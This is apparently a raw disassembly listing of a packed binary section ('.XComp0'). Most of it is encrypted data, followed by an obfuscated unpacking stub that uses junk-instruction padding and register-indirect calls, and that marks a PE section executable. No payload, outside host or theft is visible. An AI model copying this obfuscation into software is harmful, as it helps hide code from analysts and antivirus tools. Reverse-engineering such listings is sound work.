53F76160h, 8A36779Ah, 69E7CA27h, 330A22D0h, 0B330B5B0h dd 54C03752h, 8A37AF3Ah, 0CDA9454Eh, 0B9303DD1h, 0D8A72F72h dd 535B58B3h, 37EFCA44h, 0DB56D5B1h, 3256EABBh, 7AAD9A1Ah dd 4762EFA2h, 99A54AAAh, 0C9DDC8D1h, 892CEFD1h, 0C0E9AA72h dd 534AAC93h, 0CE2703D0h, 0B4598A4Eh, 3256BAB6h, 3257D0BEh dd 53AEAEB1h, 0F0AF9E49h, 0BF59ABA1h, 3256D5BDh, 32506ABEh dd 0B65975B1h, 3256BAB1h, 32565058h, 0CA7FFB1h, 0B09ACE60h dd 54E894B5h, 520368D0h, 31D4E544h, 3D5675B1h, 0B9374106h dd 325FB45Dh, 0E3BEAEB1h, 1E982C32h, 0B1BD703Ah, 35BF2975h dd 7C56EAB1h, 0E9ED0F7h, 0B45906AAh, 32565DB9h, 325429BEh dd 533657B1h, 325942D1h, 8A09D5B1h, 63641061h, 7A6F2DEAh dd 312A4D40h, 3256B536h, 0B30CAEB1h, 323BFA5Bh, 325B42B7h dd 3523D5B1h, 0A1DFCE2Eh, 0A87ABA6Bh, 52CFFE9Ah, 69090DE7h dd 325047D1h, 2A8157B1h, 29EBFBABh, 0B9AFB4D0h, 3278650Bh dd 325A9CB7h, 0DA3DBAB1h, 71C040Fh, 0FEBBA7D9h, 0B759C707h dd 3256ABBFh, 3256DC58h, 0E8C563B1h, 19CC597Eh, 0FB6523F5h dd 3250D9BEh, 0B836AEB1h, 5398DC66h, 3D569432h, 32553C35h dd 0BD598AB1h, 325675B2h, 549905BEh, 0B937A33Ah, 3BBFCEB6h dd 7D5657B1h, 256CD6E9h, 0AB6BF5E4h, 3256E658h, 0CE8955B1h dd 0EE5016ABh, 0BBD562CEh, 0CDA3CF01h, 0CDAE5BC4h, 23BFA3C4h dd 2F56D5B1h, 0F7AD20D0h, 0C349E416h, 0B674F32Dh, 6A9EBCB8h dd 8A36CEE1h, 5C3A8F16h, 3D37CAD1h, 0DA372C0Eh, 3256E91Dh dd 0F1D713D1h, 0BA5906BCh, 32565DB5h, 0D5B515D7h, 3D965CD0h dd 3256FB34h, 25DFDAB1h, 5256EAB1h, 32567E58h, 0B14FEAB1h dd 68795772h, 0BB94E445h, 0EB23440Bh, 3FBFCA86h, 0AC56D5B1h dd 0E1B3315Ch, 0A318725Fh, 550A7AD1h, 0DBAE5A3Ah, 3256AE8Bh dd 0D9D701D1h, 0E6DA78Bh, 325F3DE9h, 6FEFEAB1h, 0AE1A1054h dd 6C2BA86Bh, 2691DED0h, 0CD744744h, 0B336A84Eh, 0AB000241h dd 325D3CB9h, 57BAEAB1h, 0FD6BD39Ch, 3F8A4678h, 77DF3C1Ah dd 34BFCE4Dh, 0C15657B1h, 9E2B29F6h, 53815E02h, 525A9F4Eh dd 6CA7FEE3h, 0E14B00D7h, 85593DD0h, 47A9CF7Eh, 0B33037B9h dd 5366BE5Fh, 0BF59E24Eh, 3256EAB0h, 30B09D49h, 0B459BAB1h dd 32565DB6h, 325729BEh, 39AF57B1h, 6D2A471h, 5256D5B1h dd 32590348h, 0E8A275B1h, 5FFC4E4Bh, 0B2F5F0CFh, 923B426Fh dd 0DBAF36C6h, 3256A93Fh, 324751BEh, 0BB59EAB1h, 325675BAh dd 3256BC58h, 0B75C8CB1h, 0B9539E46h, 0DA36ABF4h, 3256ABA2h dd 516CB49Ch, 544AE7Fh, 0BA7E780h, 0C8885C76h, 624D9381h dd 7DE7F1E8h, 3D516ED0h, 3254E633h, 77A920B1h, 3253034Dh dd 0F4E675B1h, 0B17EAC67h, 3D5659CEh, 32569435h, 0BA5937B1h dd 3256ABB3h, 5236B4D1h, 53378AD0h, 3E29F6D0h, 12D2B5B1h dd 52565DB1h, 8D3052D1h, 53374189h, 32562A58h, 325B3CB1h dd 250EAB1h, 0F8DAE74Bh, 0DA8B1989h, 8AAC2301h, 0CDA9514Eh dd 324BD6BEh, 0BE59ABB1h, 3256D5A6h, 3256F858h, 0CDFD80B1h dd 0AA940974h, 3E603CE0h, 0B7A9C5ADh, 8BCCA31Bh, 3256ABB4h dd 324154BEh, 20BFEAB1h, 0DF5675B1h, 7F28069h, 2E645A13h dd 0A8BF0820h, 18AEAF77h, 0C7FD588Bh, 0CDA86A58h, 0F5DD8A4Eh dd 32566158h, 0FA9A25B1h, 0FCA2E3ECh, 0A7237826h, 1293CD1Fh dd 32156BFCh, 4DD5B4DEh, 0B659EFA1h, 325675C2h, 32573DBEh dd 0B1AF5DB1h, 3D50BECEh, 3256FF34h, 325B42B1h, 197ED5B1h dd 1FFB5283h, 1CF8D4EFh, 738B149Fh, 3611D644h, 32592DBEh dd 38BF57B1h, 0B656ABB1h, 20835B9Bh, 62E0668Fh, 0E8DD15A8h dd 0E9843BD7h, 6DDD3CCCh, 33D0A1BDh, 0CB5657B1h, 32565F58h dd 2AD3DAB1h, 0DB56EAB1h, 325675A2h, 0BEF20996h, 9C41E005h dd 0EB1BF5B5h, 0B3CCB518h, 0B9E3886Fh, 35BFD1F6h, 9E56EAB1h dd 74E11F5Fh, 6DDDE43Dh, 3242B4BDh, 3B53AEB1h, 0E5B6A2B1h dd 0C0C09980h, 0E8E18B7Ah, 0C586A1EAh, 0B4BFDD24h, 0DB56BAB1h dd 32565DA0h, 0F28769CBh, 0E6AEB516h, 0BFD5885Dh, 0A99EBF38h dd 3611611Fh, 3E09FE4Dh, 3256B058h, 0FBB443B1h, 0BBFBD2B8h dd 197812FBh, 0CAAAAFEEh, 52533E32h, 0BC593E3Bh, 325675B2h dd 538731D7h, 31462232h, 326D2BBEh, 523657B1h, 3256A758h dd 0A62208B1h, 0FFA636A0h, 0C4F693F0h, 3245531Ah, 0A2AC5DB1h dd 0C2B8BC14h, 6B7EA15Eh, 39AC703Dh, 0E8BF3319h, 0B9308BECh dd 3D171470h, 3256BE3Ah, 6B043DB1h, 0CE8F85D0h, 3241DCBEh dd 20BFABB1h, 7056D5B1h, 15DC9C5h, 0C46D464Bh, 28E9581Dh dd 0F323E73Ch, 330A27BEh, 35DD58B0h, 5256ABB1h, 0B9422131h dd 0CDEE8B40h, 0C7A98A4Eh, 3256BF08h, 3251B4B1h, 76ECAEB1h dd 0D206F07Fh, 99A55EE9h, 0CF483C4Dh, 3DAF154Eh, 3256743Ch dd 0CA3742B1h, 325FB478h, 0F781AEB1h, 0BB6C10AAh, 0F0FDC668h dd 0BC59D5B9h, 3256EABDh, 3250FCBEh, 0B959BAB1h, 32565DB1h dd 324647E4h, 0C88457B1h, 55ADB70Dh, 0ABACE49Eh, 2A7A9F16h dd 0DEDD29E8h, 46893BD1h, 0B32C00C2h, 0F9A36D6Bh, 0F6D536F6h dd 3D36524Dh, 3256FE3Bh, 3EBF8AB1h, 0BF5675B1h, 8E358A34h dd 313142E6h, 0DA0DB9F1h, 325657A3h, 0CB3A777Ch, 378C54CFh dd 8772E167h, 0C10C79C5h, 53095D77h, 3D5E183Ah, 3256A93Bh dd 33D058B1h, 0CB56ABB1h, 3D5A908Ah, 32568333h, 3FD37AB1h dd 5256BAB1h, 3256DCBEh, 53EEAEB1h, 532F3EFBh, 3D46EE8Ah dd 32569836h, 21D6E5B1h, 525675B1h, 3256B259h, 5A9C81B1h dd 6DEA05A5h, 8559085Bh, 7791CA6Bh, 3256D54Dh, 3EBF8AB1h dd 0E65675B1h, 2F8829BCh, 840438BAh, 54E46F7Fh, 5392CB0Ah dd 32568858h, 325A3CB1h, 0A65BEAB1h, 6836DEB9h, 3E890A5Eh dd 7791E066h, 3256AF4Dh, 855937B1h, 33BFCA78h, 0CE56D5B1h dd 325903D0h, 45375B1h, 632FEF9h, 0DB30EB0Bh, 317480EBh dd 0CE13DC7Ch, 325721BEh, 0FBA3D5B1h, 53368AD1h, 32567F58h dd 0FB96A9B1h, 6597308Eh, 53556DFBh, 32565258h, 77E74AB1h dd 0F0379A32h, 0B836EABDh, 32429C7Fh, 60ABAB1h, 86068683h dd 97211960h, 0DA35EB1Eh, 0CF0C7577h, 67377FF7h, 33D5E549h dd 0CE5675B1h, 0B959563Ah, 32565DBCh, 3256A658h, 0DF549AB1h dd 717AEDE6h, 0CE9256FDh, 3256E158h, 48E1CB1h, 9B304C94h dd 17B9E890h, 325047D1h, 8D5057B1h, 80C63A6Fh, 3256D559h dd 0D8D7B0B1h, 3456060Dh, 3256BF58h, 0A2DBB5B1h, 35BFD26Fh dd 0D95657B1h, 0F2FA97DAh, 0FB65A699h, 35BFBBD1h, 8F5675B1h dd 28FCF194h, 5309723Bh, 54367582h, 1520A730h, 0A5962AD7h dd 6FDFB46Dh, 0EAD78A4Dh, 17B03395h, 0DB36DB48h, 32565DB6h dd 0B0DF7BCEh, 0DBBDAFAEh, 3256ABA0h, 0BE3595FEh, 4BA18E94h dd 3ABF6187h, 6378A1D7h, 88DD3C8Eh, 3456803Eh, 32565B58h dd 0B70341B1h, 7A1F07B9h, 956265D0h, 0DD58097h, 6BD2B5B1h dd 0CE565DB3h, 0CB892FD1h, 0DB163BA3h, 3256ABA3h, 6AAAB0A4h dd 5185C211h, 30195BC0h, 0EB5F36D6h, 0B137C15Ch, 0B759518Eh dd 32565785h, 0B059CB48h, 3256D5B3h, 0D7DC8BD1h, 2691F6D0h dd 325A38BEh, 0B0595DB1h, 3256AEB7h, 3256DABEh, 95BFABB1h dd 0DBA92A4Eh, 3256EAB9h, 4DE46FF3h, 66EBB184h, 32522232h dd 32782ABEh, 20BF57B1h dd 0D956ABB1h, 831256BDh, 7E70B263h, 76DBA126h, 0C022693Ah dd 3E29DEE0h, 3FD2A1B1h, 3D5657B1h, 3256AA35h, 0DBF29B1h dd 0CB56EAB1h, 0DBAA304Eh, 3256BABEh, 66EF40A5h, 0B2EBB19Ch dd 374FFDD9h, 0B1473D22h, 0B959C176h, 3256EAB0h, 0CD6A9C49h dd 3EBF454Eh, 32565DB1h, 69709F72h, 0E3AFBEC6h, 3D3F62B3h dd 3256D433h, 4DD516B1h, 0B65970A1h, 3256BA3Ah, 3259DDBEh dd 38BFAEB1h, 6C5657B1h, 0DB0C4958h, 0B0F85877h, 222969AFh dd 0BAD37AB7h, 3D56BAB1h, 32564B38h, 22D2A1B1h, 0DB5657B1h dd 3256ABBAh, 0BD6B3345h, 433E6781h, 733DC294h, 36113149h dd 325ED7BEh, 0B059AEB1h, 325657B3h, 6DDDCAD1h, 33D3DABDh dd 0CB56EAB1h, 32567F58h, 39F105B1h, 0B2BC4576h, 0DBFB78AEh dd 32565705h, 3256A658h, 1DFB27B1h, 0E5DBD3B6h, 0AD656B05h dd 3ABF9501h, 0F1565DB1h, 0E97AD03Bh, 0B96C506Bh, 0B9AEAFF6h dd 38BFD9EEh, 1356EAB1h, 54EA71B8h, 0A36D5E36h, 323FB47Ah dd 0B9A3AEB1h, 543653F6h, 53D7EC0Eh, 3D5A8A3Ah, 3256FA3Fh dd 0B93015B1h, 32505367h, 9D805DB1h, 8C6D1516h, 36097CD0h dd 37BD2844h, 3256C458h, 92CEB1h, 0AF16BCFAh, 0ABCE00AFh dd 7E480A04h, 0BF594BDEh, 325657B6h, 32572DBEh, 0B1AAD5B1h dd 3D55FACEh, 32566734h, 325D53B1h, 0C1C85DB1h, 88E439FBh dd 59B560B5h, 19AFEAA5h, 3BDADA68h, 5256EAB1h, 13B29B30h dd 53A3D836h, 33570138h, 0C8E1A1D1h, 98EAA30Ah, 0CDEECAB9h dd 0C7A92A4Eh, 3256EF08h, 3EDA7AB1h, 3D56BAB1h, 32565B3Dh dd 32D6A1B1h, 0C15657B1h, 3246421Ah, 8380D5B1h, 0A7508D1Dh dd 6D0E2400h, 0F2038DA7h, 81BF464Ah, 0DBA9514Ch, 325657A1h dd 198AD9E7h, 1AFBEA7h, 1435B8D1h, 2C138F64h, 77DD42D0h dd 3D9FA14Dh, 3256B73Bh, 3ABF37B1h, 0DC56ABB1h, 52C79BB6h dd 0DB31B671h, 325675B4h, 0D4539054h, 0C7953CDDh, 33D8A1E1h dd 0CE5657B1h, 325942E0h, 8847D5B1h, 0CB477150h, 61D75CD8h dd 65D2DAC4h, 0BE590EA6h, 3256AEB9h, 3254D8BEh, 5336ABB1h dd 3256D559h, 0D8D7B0B1h, 3456034Dh, 32595344h, 7ACA5DB1h dd 21AF25CBh, 0EF2B9A45h, 5231DDA3h, 4BCC58F7h, 3D50EA9Eh dd 32567436h, 56EE4FB1h, 3D565DB1h, 3256AF35h, 38BEAEB1h dd 5256ABB4h, 0E0D6DD7h, 1D0253D7h, 0C75DFED0h, 3EBF7B8Ah dd 0AF565DB1h, 672A7F9Ah, 3B8F3A36h, 0DB4AAD5Dh, 3256D5EAh dd 325769BEh, 31AA75B1h, 0C7AEBEFAh, 0B0599C8Ah, 3256AE31h dd 221D5444h, 3256A458h, 4FA77BB1h, 8C5D0A28h, 0B24802Bh dd 0CC8E9BB3h, 0B0599C8Ah, 3256AEAAh, 28BFAE44h, 3D56ABB1h dd 3256DB3Ch, 0B2598AB1h, 325675B1h, 0D7127B30h, 0DB372B34h dd 3256AEC1h, 323CBE4Dh, 0BFAFABB1h, 33740B2Bh, 325F03B7h dd 85C575B1h, 25431D48h, 0CD30A867h, 7FBF5B62h, 525657B1h dd 32582CBEh, 3BBFD5B1h, 0AB56EAB1h, 19E62E58h, 0BF3A6A2Bh dd 3256DABEh, 0CE37AEB1h, 1452CD3Ch, 8C36ADB0h, 3A60E90Ah dd 3256FB58h, 4D8A73B1h, 82DF398Eh, 33DD3FD8h, 54AC72A2h dd 0CD37E754h, 0F4D6CB62h, 0B69E5418h, 536A016Ch, 23D47AEAh dd 0DB56BAB1h, 32565DBDh, 4AF3D8D1h, 7568382Eh, 9884D0D6h dd 37BFB5E8h, 0C856EAB1h, 280AD0E3h, 5ACCF60Ah, 520E3C9Eh dd 0EAF317D7h, 0E9D731E3h, 530F0D30h, 35D0DA72h, 3D56EAB1h dd 32567432h, 0DB0342B1h, 32565DB9h, 638AAEEBh, 7D4D1AECh dd 38BF473Ah, 3C56D5B1h, 6F50B579h, 0A643A7EDh, 325652A1h dd 0B30C5DB1h, 322E275Bh, 53AA37B7h, 32572BBEh, 52AFD5B1h dd 3256E458h, 80BB4AB1h, 89BA16D9h, 9137493Fh, 0BF5671E5h dd 32792E0Bh, 3BD7A4B7h, 5256D5B1h, 83966BD7h, 5342C519h dd 0DB5EFF3Ah, 32565DA3h, 0EA510603h, 5AE3A745h, 0DA7B9438h dd 0AD235551h, 0BBAF8F33h, 33DF7AB6h, 0CB56BAB1h, 3D5A183Ah dd 3256A739h, 533637B1h, 89852AD7h, 75DFB4C3h, 77DD1FB5h dd 32429CA1h, 0CF21BAB1h, 5579D0B0h, 5F4404A2h, 963B5FC7h dd 0ECB34727h, 75DFF30Eh, 77DD16BDh, 325C9CA5h, 73B8BAB1h dd 620A6630h, 5126BAFEh, 0DB461038h, 3256ABA0h, 498F5A8Dh dd 93817AEDh, 0B056F5D4h, 7FCC1C81h, 0CA37A193h, 32464778h dd 0BFB657B1h, 0DB653BA9h, 4B27811Ch, 0A1E44C69h, 2294A924h dd 33DFB5B1h, 0CE565DB1h, 325A24BEh, 0BD5957B1h, 3256ABB7h dd 325652BEh, 0CA36EAB1h, 2ACFF077h, 0DB11BF48h, 32565DBCh dd 5F106891h, 0E16A1793h, 0EAA42E26h, 414CBD48h, 3D3642A6h dd 32566132h, 325953B1h, 0C9225DB1h, 2E063DEEh, 0A62177FEh dd 7E2B49FBh, 0F1DDB3A5h, 33D3E5D0h, 0CB5675B1h, 3A870F4Eh dd 0BFAE5848h, 0CE93BE34h, 0B55937B4h, 3256ABB2h, 528962BEh dd 3256FE58h, 2A2730B1h, 6C4902D5h, 22CCB612h, 1D085DE3h dd 878D4A9Fh, 325B42D0h, 5339D5B1h, 0C69E8755h, 3CB178D1h dd 531FB7EBh, 3D86A2D0h, 3256A934h, 33D958B1h, 0CB56ABB1h dd 0B8DB20E3h, 3456DA1Bh, 0CDAF2449h, 0DB0C4F61h, 32565DBBh dd 923ABB4Bh, 1FFDE48Dh, 0B0DBA9EDh, 3456E51Bh, 3256FB58h dd 5D905EB1h, 17E77B0Eh, 9C60D46h, 0B3FA45CCh, 85593A49h dd 0CB36A7F1h, 3D37053Ah, 3256EB32h, 0EADD8CB1h, 3256A958h dd 5C601EB1h, 0C82DC6Fh, 8F00DBEFh, 29FCF940h, 0FC5421A3h dd 325F03E3h, 0FBA175B1h, 0BE67B385h, 3DC82602h, 3256A53Eh dd 3250BEB1h, 0EA81ABB1h, 4AB8FF55h, 0BD59DBBEh, 325675B0h dd 0BF59E044h, 32565DB0h, 0CE95AD48h, 325CBED1h, 54B1ABB1h dd 620E5939h, 0E2909DAh, 2D519B30h, 0BB37A81Bh, 0CB5F6433h dd 39D9A1B4h, 525657B1h, 325628BEh, 0FCD6D5B1h, 52378B88h dd 8796C2BEh, 0DA36DB41h, 32565DBBh, 658AF03Fh, 0C630BC8Eh dd 0F0DD7287h, 989154E9h, 5320F37Dh, 0E951FC72h, 6, 0D49B9EAEh dd 6052E361h, 5E9F78Bh, 39000000h, 0BB053120h, 0E9F56061h dd 14h, 61839791h, 29A2CF30h, 0EC4113F4h, 0EC8DECFEh, 1415520Ah dd 0E861h, 815A0000h, 7B3DEAh, 5E906h, 0F9330000h, 0F20DD2Bh dd 108Bh, 0BE900h, 0B58B0000h, 0F0C7F311h, 0DE27C38Eh dd 0BA6660C9h, 0B7B89242h, 6174E3DCh, 0EE952h, 6E750000h dd 712E7BA3h, 0C4DFF833h, 5979A00Fh, 939828Bh, 9E905F9h dd 80000000h, 18468BA9h, 63214F23h, 0C64E6DB9h, 0E1F7F841h dd 8E0F5AF8h, 9, 0CA816660h, 0CAB6CBE8h, 11E961h, 0BFA90000h dd 0F6EABE5Bh, 0D60FCAFDh, 2CB43DDDh, 595E3C9h, 3039h dd 13820Fh, 850F0000h, 0Dh, 8E9h, 327B8700h, 9978FFE8h dd 0FFFF25D5h, 8D0F7FFFh, 1, 398289FCh, 6005F909h, 0C8EDD181h dd 0EA80469Bh, 11E961B9h, 35000000h, 1F3E77CAh, 0A39A3484h dd 0C2D7DB87h, 4AB7CED4h, 0CE95Ah, 27B00000h, 34F1A7E5h dd 0FFCB5971h, 0FC59F525h, 0D8C0FC3h, 0E9000000h, 8, 0C431B1F5h dd 5D9E98E9h, 11E951F8h, 70000000h, 51861D3Bh, 0A4FDC047h dd 164D46A6h, 700C6AD5h, 5E952h, 0B2BB0000h, 0E8758B56h dd 0 ; --------------------------------------------------------------------------- pop edx sub edx, 6007C67h clc jmp loc_5E326D ; --------------------------------------------------------------------------- mov bl, 5Fh jmp short near ptr byte_5E32AC ; --------------------------------------------------------------------------- dw 678h dd 0A1506E10h db 68h ; --------------------------------------------------------------------------- loc_5E326D: ; CODE XREF: .XComp0:005E325Cj js loc_5E327A jle loc_5E327A clc loc_5E327A: ; CODE XREF: .XComp0:loc_5E326Dj ; .XComp0:005E3273j mov ecx, eax jmp loc_5E328F ; --------------------------------------------------------------------------- db 2Eh, 0E7h, 99h dd 0CD79EC8Ah, 0B0DD3B30h db 5Dh, 56h, 8Ch ; --------------------------------------------------------------------------- loc_5E328F: ; CODE XREF: .XComp0:005E327Cj call near ptr dword_5E2AA0+64Eh clc pusha jo loc_5E329E mov dl, 5Eh loc_5E329E: ; CODE XREF: .XComp0:005E3296j mov ax, di popa xor edx, edx jmp loc_5E32AE ; --------------------------------------------------------------------------- db 94h, 8Dh, 84h byte_5E32AC db 0A2h, 0C0h ; CODE XREF: .XComp0:005E3264j ; --------------------------------------------------------------------------- loc_5E32AE: ; CODE XREF: .XComp0:005E32A4j div ecx jmp loc_5E32C9 ; --------------------------------------------------------------------------- db 1Dh, 12h, 0B6h dd 0B4F2E98Eh, 10C4120Bh, 0F997175Ch, 600126C7h ; --------------------------------------------------------------------------- push eax loc_5E32C9: ; CODE XREF: .XComp0:005E32B0j mov eax, edx pusha jmp loc_5E32DD ; --------------------------------------------------------------------------- db 0F6h, 50h, 0D9h dd 606EE056h, 755817C7h db 67h ; --------------------------------------------------------------------------- loc_5E32DD: ; CODE XREF: .XComp0:005E32CCj popa pusha mov esi, 0E03FC87h mov si, 0C9DCh popa pop edx jnb loc_5E32F8 jno loc_5E32F8 pusha popa loc_5E32F8: ; CODE XREF: .XComp0:005E32EAj ; .XComp0:005E32F0j pop ecx cmc retn ; --------------------------------------------------------------------------- stc mov eax, eax pusha mov ch, 0B4h jz loc_5E331A jmp loc_5E331A ; --------------------------------------------------------------------------- dd 1770A865h, 4C8C3C4Bh, 0D9593F95h db 0DDh, 96h ; --------------------------------------------------------------------------- loc_5E331A: ; CODE XREF: .XComp0:005E3301j ; .XComp0:005E3307j popa mov eax, eax cmc lea eax, [ebp+60044F2h] jge loc_5E3331 jge loc_5E3331 cmc loc_5E3331: ; CODE XREF: .XComp0:005E3324j ; .XComp0:005E332Aj call eax jz loc_5E334B pusha jmp loc_5E3344 ; --------------------------------------------------------------------------- db 2Ah dd 20E04872h ; --------------------------------------------------------------------------- loc_5E3344: ; CODE XREF: .XComp0:005E333Aj jle $+6 popa loc_5E334B: ; CODE XREF: .XComp0:005E3333j mov ax, cx cld lea eax, [ebp+6007B01h] jmp loc_5E3367 ; --------------------------------------------------------------------------- dw 0AA02h dd 0CDFFE3EBh, 102624E6h ; --------------------------------------------------------------------------- dec esi inc esp xchg eax, edx loc_5E3367: ; CODE XREF: .XComp0:005E3355j mov [ebp+5F92045h], eax jmp loc_5E3381 ; --------------------------------------------------------------------------- dw 38D9h dd 0B55ED9C8h, 8AA6A076h, 96A58CE3h db 3 ; --------------------------------------------------------------------------- loc_5E3381: ; CODE XREF: .XComp0:005E336Dj jmp loc_5E3397 ; --------------------------------------------------------------------------- dw 18A2h ; --------------------------------------------------------------------------- jmp fword ptr [eax] ; --------------------------------------------------------------------------- dw 6518h dd 3D872501h, 3C1F26h db 6Eh, 40h, 88h ; --------------------------------------------------------------------------- loc_5E3397: ; CODE XREF: .XComp0:loc_5E3381j lea eax, [ebp+6007C40h] jnp loc_5E33A4 clc loc_5E33A4: ; CODE XREF: .XComp0:005E339Dj mov [ebp+5F92021h], eax cmc mov eax, 0 jmp loc_5E33BE ; --------------------------------------------------------------------------- db 7, 0C4h, 77h dd 0D943E788h db 97h, 3Bh ; --------------------------------------------------------------------------- loc_5E33BE: ; CODE XREF: .XComp0:005E33B0j or eax, eax jz loc_5E3557 jmp loc_5E33D0 ; --------------------------------------------------------------------------- db 8Dh dd 3BB9AA08h ; --------------------------------------------------------------------------- loc_5E33D0: ; CODE XREF: .XComp0:005E33C6j pusha and ah, 88h mov dl, 15h popa mov byte ptr [ebp+5F91899h], 56h pusha mov si, cx cmc popa push 0A9C530DFh jmp loc_5E3401 ; --------------------------------------------------------------------------- dw 4B7Bh dd 74850930h, 56B805DCh, 0DF142CB1h, 669025C0h db 13h ; --------------------------------------------------------------------------- loc_5E3401: ; CODE XREF: .XComp0:005E33E9j push dword ptr [ebp+5F908D1h] jmp loc_5E3420 ; --------------------------------------------------------------------------- dd 8D6F4461h, 4A3036BDh, 0CDAB1356h, 5E5A39DAh, 0CFB0FFF0h ; --------------------------------------------------------------------------- loc_5E3420: ; CODE XREF: .XComp0:005E3407j lea eax, [ebp+5FCC510h] pusha jmp loc_5E343D ; --------------------------------------------------------------------------- dd 4B0E063Eh, 0CC5743E5h, 32B8A180h, 914A1D17h db 0E4h ; --------------------------------------------------------------------------- loc_5E343D: ; CODE XREF: .XComp0:005E3427j clc popa call eax pusha clc popa pusha mov ebx, ecx pusha js $+6 jb $+6 popa popa push eax jmp loc_5E346D ; --------------------------------------------------------------------------- dd 0D2181FE2h, 0B9A3F4F9h, 82EED422h, 0EB187EDEh db 39h ; --------------------------------------------------------------------------- loc_5E346D: ; CODE XREF: .XComp0:005E3457j cmc lea ecx, [ebp+5F9148Dh] stc push ecx cmc push 4 pusha mov ebx, 188E321Ch stc popa push 1000h jmp loc_5E3493 ; --------------------------------------------------------------------------- db 53h dd 0B3F489DFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FAh, 23h ; --------------------------------------------------------------------------- loc_5E3493: ; CODE XREF: .XComp0:005E3486j push dword ptr [ebp+5F914CDh] jmp loc_5E34A9 ; --------------------------------------------------------------------------- sub [ecx+19E5F9E5h], bl dec esi mov bl, 1Dh mov es, si loc_5E34A9: ; CODE XREF: .XComp0:005E3499j call eax jle loc_5E34BE jmp loc_5E34BE ; --------------------------------------------------------------------------- dw 89EAh dd 0C4E8E129h ; --------------------------------------------------------------------------- mov dh, 0B8h loc_5E34BE: ; CODE XREF: .XComp0:005E34ABj ; .XComp0:005E34B1j mov edi, [ebp+5F914CDh] pusha pusha cld mov bx, ax popa jmp loc_5E34DC ; --------------------------------------------------------------------------- dd 0FCA6EA0Eh, 6F4DE913h, 5C6DF03Ch ; --------------------------------------------------------------------------- loc_5E34DC: ; CODE XREF: .XComp0:005E34CBj popa pusha and ecx, 1E37C6E1h mov ecx, 15C574B7h popa add edi, [edi+3Ch] jp loc_5E34FD jmp loc_5E34FD ; --------------------------------------------------------------------------- dd 14FE6426h db 0D1h ; --------------------------------------------------------------------------- loc_5E34FD: ; CODE XREF: .XComp0:005E34EDj ; .XComp0:005E34F3j pusha jnb loc_5E351D jmp loc_5E351D ; --------------------------------------------------------------------------- db 18h, 42h, 71h dd 3F5BEE9Fh, 82C3BBCFh, 3ACF5821h, 0E4AA5541h db 3Ch ; --------------------------------------------------------------------------- loc_5E351D: ; CODE XREF: .XComp0:005E34FEj ; .XComp0:005E3504j movsx edi, ax popa add edi, 0F8h jmp loc_5E3533 ; --------------------------------------------------------------------------- dd 1BCF9F18h db 0C1h, 75h, 26h ; --------------------------------------------------------------------------- loc_5E3533: ; CODE XREF: .XComp0:005E3527j mov dword ptr [edi+24h], 60000020h pusha call near ptr loc_5E354E+1 sub [esp+edx*2-0Ah], ebp aaa mov ch, 25h xor ebp, esp jo short loc_5E3556 scasb lock das loc_5E354E: ; CODE XREF: .XComp0:005E353Bp and [esi-75h], ah ficomp dword ptr [edi-80h] in eax, 0A8h ; Interrupt Controller #2, 8259A loc_5E3556: ; CODE XREF: .XComp0:005E3549j popa loc_5E3557: ; CODE XREF: .XComp0:005E33C0j lea ebx, [ebp+5F92129h] jmp loc_5E3569 ; --------------------------------------------------------------------------- dw 0BB38h ; --------------------------------------------------------------------------- retf 909Dh ; --------------------------------------------------------------------------- db 8Eh db 0A3h ; --------------------------------------------------------------------------- loc_5E3569: ; CODE XREF: .XComp0:005E355Dj cld mov eax, [ebx] jle loc_5E3579 jz loc_5E3579 clc loc_5E3579: ; CODE XREF: .XComp0:005E356Cj ; .XComp0:005E3572j or eax, eax jz loc_5E35A7 pusha cmc popa mov eax, [eax] jz loc_5E35A3 jmp loc_5E35A3 ; --------------------------------------------------------------------------- db 82h, 1Bh, 8Ah dd 97FE3946h, 4E124506h, 0D6779F6h ; --------------------------------------------------------------------------- adc al, 3Eh sahf loc_5E35A3: ; CODE XREF: .XComp0:005E3586j ; .XComp0:005E358Cj mov [ebx+4], eax stc loc_5E35A7: ; CODE XREF: .XComp0:005E357Bj mov ecx, 234CF6h call near ptr loc_5E35BD+1 inc esp aam 58h or [edi+714CC855h], cl loope near ptr dword_5E35DC dec ecx loc_5E35BD: ; CODE XREF: .XComp0:005E35ACp mov fs, word ptr [eax-17h] or al, 0 ; --------------------------------------------------------------------------- dw 0 dd 8E18AB40h, 0FDB1F5Bh, 4EF2E51h, 800Fh, 5A610000h, 8800Fh dword_5E35DC dd 66600000h, 0B10119BFh, 0C2816133h, 6154h, 181968h, 0BE665600h ; CODE XREF: .XComp0:005E35BAj dd 595F4344h, 65E6C881h, 32FF6C4Bh, 4810Fh, 0B8660000h dd 0E85B138Ah, 5, 76AFFF75h, 84EF81DAh, 5E752E8Fh, 3920F381h dd 0EE83A91h, 0CA000000h, 1DE2AA83h, 54B78827h, 7D49A113h dd 0AE95261h, 0D5000000h, 689F9BB7h, 0FD108B93h, 815E5FF4h dd 51079EEBh, 10E934h, 2B880000h, 1CBCFAD2h, 312F67FBh dd 75A799FAh, 0EB81182Ch, 6DDC4615h, 0E91A89F5h, 9, 83402F90h dd 3AA5E898h, 9EEA81EFh, 0F6B7B72h, 0C281FEB7h, 6B7B729Ah dd 0F01E983h, 0FFFF6D85h, 0FE9FFh, 57180000h, 0CB46FC4Bh dd 0FBACA562h, 5DCDD457h, 1FE911h, 0AFD00000h, 9Dh, 6 dup(0) dd 701E900h, 8F680000h, 0E9060082h, 0FFF8FE22h, 831768h dd 0FE18E906h, 3068FFF8h, 0E9060085h, 0FFF8FE0Eh, 3DDF328Dh dd 23D9369Ah, 37ED16C4h, 22DA2B90h, 4CF017C3h, 0D0FCBBF6h dd 0FCE20537h, 0E30AED0Fh, 0F6D7FE26h, 3AFFE517h, 96056019h dd 0C168DD23h, 7B729736h, 8CB288AEh, 9A72A760h, 1D63F66Ah dd 91410A4Dh, 0A1ADE3C9h, 4D848765h, 0C07940A9h, 9681EA93h dd 8F806029h, 0DDC722Fh, 0B3A75DB0h, 0EA21CB25h, 46FB36E3h dd 8FACB115h, 0DDFDCF2Fh, 0EC353666h, 0EE76775Dh, 6AC2BE81h dd 7E6F2CC4h, 739C44BBh, 0B30970E3h, 6687239Ch, 9C4126A7h dd 0FDE87C71h, 1CF30DD1h, 8E64F8CEh, 8B2148D6h, 0FC000004h dd 0A6631645h, 6E0239Ch, 0DE94A049h, 1D31F89Fh, 30A7F117h dd 96C57CA6h, 2F8F9E78h, 0DA810E06h, 4DE7016Ch, 0AD5451A9h dd 575EAB12h, 6ECB6C82h, 78A16C51h, 